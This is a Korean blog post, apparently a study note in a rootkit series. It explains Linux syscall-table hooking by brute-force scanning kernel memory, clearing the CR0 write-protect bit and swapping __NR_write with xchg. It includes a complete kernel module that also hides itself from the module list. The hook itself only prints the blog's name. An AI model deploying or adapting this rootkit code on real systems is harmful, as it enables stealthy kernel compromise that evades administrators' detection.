본문 바로가기

reversing/rootkit

rootkit- syscall [2]

SMALL

Linux System call Hooking



git : https://github.com/jhong3842/linux_rootkit

앞서 자신을 숨기는 방법에 관해서 알아보았다.

리눅스 자체에서 기능을 제공하는 함수가 많기에 함수를 잘 알고 많이 아는것이 중요하고 편한것 같다.


이제 syscall table을 수정하여서 원하는 함수로 hooking 하도록 해본다.


먼저 들어가기에 앞서..

syscall table에는 각 함수에 해당하는 번호가 할당되어 있다.

함수의 번호를 확인하고 싶으면 kernel 소스를 확인해보면 되는데


richong@ubuntu:~/LKM$ man syscall


과 같이 syscall 번호를 찾기 위해서 찾아보면..


NAME
       syscall - indirect system call

SYNOPSIS
       #define _GNU_SOURCE         /* See feature_test_macros(7) */
       #include <unistd.h>
       #include <sys/syscall.h>   /* For SYS_xxx definitions */

       long syscall(long number, ...);

설명되어 있다.

unistd.h 헤더 파일에 정의 되어 있다는데 인터넷에 나와있는 경로에는 전혀 다른 파일들이 있어 확인하고 싶은데 잘 안된다.

그래서.. 찾아 찾아 가보면 여러 파일에? 해당 syscall number 들이 정의되어 있는데.

/usr/src/linux-3.16.43/arch/x86/syscalls/syscall_32.tbl

/usr/src/linux-3.16.43/arch/x86/include/generated/uapi/asm/unistd_32.h


과 같은 위치를 확인해보면 번호와 쓰임세 이름 등을 확인할 수 있다.


보면.. _NR_read와 같이  _NR_functionname 형식으로 각 번호가 설정되어 있다.


정확히 뭐가 맞는 번호인지는 모르겠다... 


이제 해당 번호들이 위와 같이 정의 되어 있다는 것을 알수 있었다.


이제 함수의 syscall 번호를 알았으니 table을 찾아 볼 차례이다.

과거 linux 2.6.x 이전 버전의 경우에는 system call table을 심볼을 이용해서 찾을수 있었다.

지금도 커널을 컴파일 할 때, KALLSYMS_ALL 옵션? 방법을 통해서 컴파일 할 경우에는 /proc/kallsyms에서 system call table의

주소를 찾을수 있긴 하다.


이외에도 다양한 system.map을 확인 하던가, IDT table의 int 0x80 확인해서 table 주소를 찾는 등 다양한 방법이 존재한다.

하지만 이 경우에는 제한적으로 작동하지 않기 때문에 좀 더 범용? 적인 방법을 많이 사용한다.


그래서 사용하는 방법은 brute force 무작위로 찾는 방법이다.


1. 어차피 kernel memory 어딘가에 system call table이 존재한다.

2. kernel memory의 영역을 알고있다.

3. sys_close symbol의 경우에는 exported 상태이기 때문이다. --> why?


why? 간단하게 설명하면 필요해서 냅뒀다. autofs4, net~ 저기서 사용해야 해서.

find . -name "*.[ch]" -exec grep -H sys_close {} \;

So currently it is needed by autofs4, binfmt_misc, net/kcm/kcmsock and
those look like legitimate use cases.

It might be worth changing sys_close to just wrap a call to
do_sys_close() which is the existing code. That would make it slightly
harder.

That said anyone doing syscall table scanning that would can do it at
least two other pretty reliable ways by working form the system call
entry point, which is trivially discoverable.

It's one reason I'd really like to see kvm/qemu provide 'read only until
the virtual machine exits' memory range so that you can irrevocably
protect page ranges (like the syscalls and much of the kernel code)
within a VM.

Alan


이제 해당 방법으로 table의 위치를 찾아본다.


커널의 메모리 영역을 설정한다.

//x86 system
#if defined(__i386__)
#define START_CHECK 0xc0000000
#define END_CHECK 0xd0000000
typedef unsigned int psize;
//x64 system

#else //x64 system #define START_CHECK 0xffffffff81000000 #define END_CHECK 0xffffffffa2000000 typedef unsigned long psize; #endif


위와 같이 32bit와 64bit의 메모리 영역을 설정한다. 또 한 사용하는 변수에서 pointer 크키가 다르기 때문에 pointer size(psize)를 설정해준다.

그리고 이제 값을 대입하면서 맞는 위치(table의 위치)를 찾으면 된다.


psize find_syscall_table(void)
{       
        psize** ppsyscall_table = NULL;
        psize index = START_CHECK;
        //kernel memory searching
        while (index < END_CHECK){
                ppsyscall_table = (psize**)index;
                
                //ppsyscall_table __NR_close index value get
                //cmp true sys_close value
                if(ppsyscall_table[__NR_close] == (psize*) sys_close){
                        return &ppsyscall_table[0];
                }
                
                //4byte ++
                index += sizeof(void*);
        }
        
        return 0;
}

이를 통해서 table의 위치를 찾을 수 있다.

그리고 이제 system call table의 위치를 찾았고 다음으로 수정만 하면 된다.

하지만 수정하기 위해서는 write 권한이 필요하다. cr0 특정 bit 수정을 통해서 쓰기 권한 제한을 수정할 수있다.

cr0 레지스터를 읽기 위해서는 read_cr0() 함수를 사용한다.

그리고 cr0 레지스터의 값을 변경하기 위해서는 write_cr0() 함수를 사용한다.


void write_off(void){

write_cr0(read_cr0() & (~0x10000));

}

 

void write_on(void){

write_cr0(read_cr0() | (0x10000));

}


이제 함수의 포인터를 변경하면 되는데, 뭐.. table을 직접 수정하고 해도 되지만 xchg() 함수가 존재한다.

함수의 포인터 값을 서로 변경시켜주고 기존 값을 back up 시켜주는 함수이다.


org_write = (void*) xchg(&psys_table[__NR_write],custom_write);


위와 같은 형식으로 기존의 __NR_write 함수를 custom_write 함수로 변경한다.


여기서 주의? 할 점으로는 custom_write 함수를 만들 때 asmlinkage 라는 형식을 추가시켜 주어야 한다.



asmlinkage?

arm이나 mips 시스템의 경우 reg를 이용하여서 함수를 호출하지만, x86 intel 과 같은

 

시스템에서는 스택을 이용해서 함수를 호출한다.

 

함수의 호출 규약이 fastcall과 같이 컴파일러에서 패치해 버리면, 해당 함수가 어셈블리어

 

상황에서 호출돼 버리면 문제가 생긴다.

 

그렇기 때문에, asmlinkage를 사용하여서 해당 함수를 호출할 때에는 stack 사용 필요라고 표시한다.


asmlinkage ssize_t custom_write(int fd, const char __user *buff, ssize_t count);


와 같은 형식으로 선언해 준다.

write 함수나 함수의 원형을 확인하고 싶으면 manual인 man write 와 같이 그냥 긁어서 복사했다.

그리고 custom 함수를 이쁘게 꾸미고 설치하면 된다.


일단 지금은.. write 함수에 블로그 이름이 출력되게만 했다. 다양한 기능이 가능하다~

#include <linux/module.h> // included for all kernel modules #include <linux/kernel.h> // included for KERN_INFO #include <linux/init.h> // included for __init and __exit macros #include <linux/unistd.h> #include <linux/kobject.h> #include <linux/syscalls.h> MODULE_LICENSE("GPL"); // GPL == GNU Public License v2 또는 이상 // GPL과 호환되는 라이선스로 등록한 모듈에서만 해당 심볼들을 사용가능. MODULE_AUTHOR("Richong"); MODULE_DESCRIPTION("richong.tistory.com"); //x86 system #if defined(__i386__) #define START_CHECK 0xc0000000 #define END_CHECK 0xd0000000 typedef unsigned int psize; #else //x64 system #define START_CHECK 0xffffffff81000000 #define END_CHECK 0xffffffffa2000000 typedef unsigned long psize; #endif //global var asmlinkage ssize_t (*org_write)(int fd, const char __user *buff, ssize_t count); psize* psys_table = NULL; /////////////////////////////////////////////////////////////////////////////// //function define int rootkit_init(void); void rootkit_exit(void); module_init(rootkit_init); module_exit(rootkit_exit); void write_on(void); void write_off(void); asmlinkage ssize_t custom_write(int fd, const char __user *buff, ssize_t count); asmlinkage ssize_t custom_write(int fd, const char __user *buff, ssize_t count) { int ret = 0; printk("richong.tistory.com\n"); ret = (*org_write)(fd,buff,count); return ret; } void write_off(void){ write_cr0(read_cr0() & (~0x10000)); } void write_on(void){ write_cr0(read_cr0() | (0x10000)); } psize find_syscall_table(void) { psize** ppsyscall_table = NULL; psize index = START_CHECK; //kernel memory searching while (index < END_CHECK){ ppsyscall_table = (psize**)index; //ppsyscall_table __NR_close index value get //cmp true sys_close value if(ppsyscall_table[__NR_close] == (psize*) sys_close){ return &ppsyscall_table[0]; } //4byte ++ index += sizeof(void*); } return 0; } int rootkit_init(void) { printk("rootkit: module loaded\n"); //hide rootkit list_del_init(&__this_module.list); kobject_del(&THIS_MODULE->mkobj.kobj); printk("hided module\n"); //find syscall table psys_table = find_syscall_table(); if(psys_table){ printk("system call table address : %p\n",psys_table); } else{ printk("Not find syscall table address \n"); } //write protect off write_off(); //syscall table change //org_write backup origin address data org_write = (void*) xchg(&psys_table[__NR_write],custom_write); //write protect on write_on(); return 0; } void rootkit_exit(void) { printk("rootkit: module removed\n"); write_off(); xchg(&psys_table[__NR_write],org_write); write_on(); }



다음에는 vfs hooking을 공부한다.


[출처] https://lkml.org/lkml/2016/11/18/351 why?




LIST

'reversing > rootkit' 카테고리의 다른 글

rootkit - vfs hooking [readdir,iterate]  (0) 2017.05.25
rootkit - 자료정리 task  (0) 2017.05.11
rootkit- syscall [1]  (0) 2017.05.04
DLL Injection Detect[3]  (0) 2016.12.01
DLL Injection Detect[2]  (0) 2016.09.05